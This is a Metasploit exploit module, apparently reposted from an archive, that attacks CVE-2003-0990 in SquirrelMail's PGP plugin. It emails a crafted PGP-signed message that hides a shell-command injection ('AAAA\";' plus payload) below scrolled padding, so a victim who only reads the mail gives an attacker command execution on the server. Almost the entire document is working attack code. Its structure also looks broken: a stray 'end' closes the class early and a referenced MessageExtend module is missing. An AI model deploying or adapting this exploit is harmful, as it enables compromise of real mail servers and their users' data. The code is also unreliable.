SquirrelMail PGP Plugin Command Execution

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
#  
# This module sends email messages via smtp  
#  
include Msf::Exploit::Remote::SMTPDeliver  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'SquirrelMail PGP Plugin command execution (SMTP)',  
'Description' => %q{  
This module exploits a command execution vulnerability in the   
PGP plugin of SquirrelMail. This flaw was found while quickly  
grepping the code after release of some information at  
http://www.wslabi.com/. Later, iDefense published an advisory ....  
  
Reading an email in SquirrelMail with the PGP plugin activated  
is enough to compromise the underlying server.  
  
Only "cmd/unix/generic" payloads were tested.  
},  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'Author' => [ 'Nicob <nicob[at]nicob.net>' ],  
'References' =>   
[  
['CVE', '2003-0990'],  
['OSVDB', '3178'],  
['URL', 'http://lists.immunitysec.com/pipermail/dailydave/2007-July/004456.html'],  
['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=330'],  
['URL', 'http://www.wslabi.com/wabisabilabi/initPublishedBid.do?'],  
],  
'Stance' => Msf::Exploit::Stance::Passive,  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => '',  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl ruby bash telnet',  
}  
},  
'Targets' =>  
[  
[ 'SquirrelMail PGP plugin < 2.1', {} ],  
],  
'DisclosureDate' => 'Jul 9 2007',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('MAILSUBJECT', [false, "The subject of the sent email"])  
], self.class)   
  
end  
  
def mime_defaults()  
self.header.set("MIME-Version", "1.0")  
self.header.set("Content-Type", "multipart/signed; boundary=\"#{self.bound}\"; protocol=\"application/pgp-signature\"; micalg=pgp-sha1")  
self.header.set("Subject", '') # placeholder  
self.header.set("Date", Time.now.strftime("%a,%e %b %Y %H:%M:%S %z"))  
self.header.set("Message-ID",   
"<"+  
Rex::Text.rand_text_alphanumeric(rand(20)+40)+  
"@"+  
Rex::Text.rand_text_alpha(rand(20)+3)+  
">"  
)  
self.header.set("From", '') # placeholder  
self.header.set("To", '') # placeholder  
end  
end  
  
def exploit  
  
body =   
# Display some junk  
rand_text_alphanumeric(rand(128)+16) + "\n" +  
rand_text_alphanumeric(rand(128)+16) + "\n" +  
rand_text_alphanumeric(rand(128)+16) + "\n" +  
rand_text_alphanumeric(rand(128)+16) + "\n" +  
rand_text_alphanumeric(rand(128)+16) + "\n" +  
rand_text_alphanumeric(rand(128)+16) + "\n" +  
  
# Scroll down  
"\n" * (rand(100)+35) +  
  
# Escape filter and insert payload  
"AAAA\\\";" + payload.encoded + ";echo \\\"BBBBB\n"  
  
sig =  
"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG\n\n " +  
rand_text_alphanumeric(rand(20)+54) + "\n" +  
rand_text_alphanumeric(rand(20)+34) + "\n" +  
"-----END PGP SIGNATURE-----\n"  
  
msg = Rex::MIME::Message.new  
msg.extend(MessageExtend)  
msg.mime_defaults  
msg.subject = datastore['MAILSUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)  
msg.to = datastore['MAILTO']  
msg.from = datastore['MAILFROM']  
  
msg.add_part(body, "text/plain;charset=us-ascii;format=flowed", "quoted-printable", nil)  
msg.add_part(sig, "application/pgp-signature", nil, "attachment; filename=signature.asc")  
  
send_message(msg.to_s)   
  
print_status("Waiting for a payload session (backgrounding)...")  
end  
  
`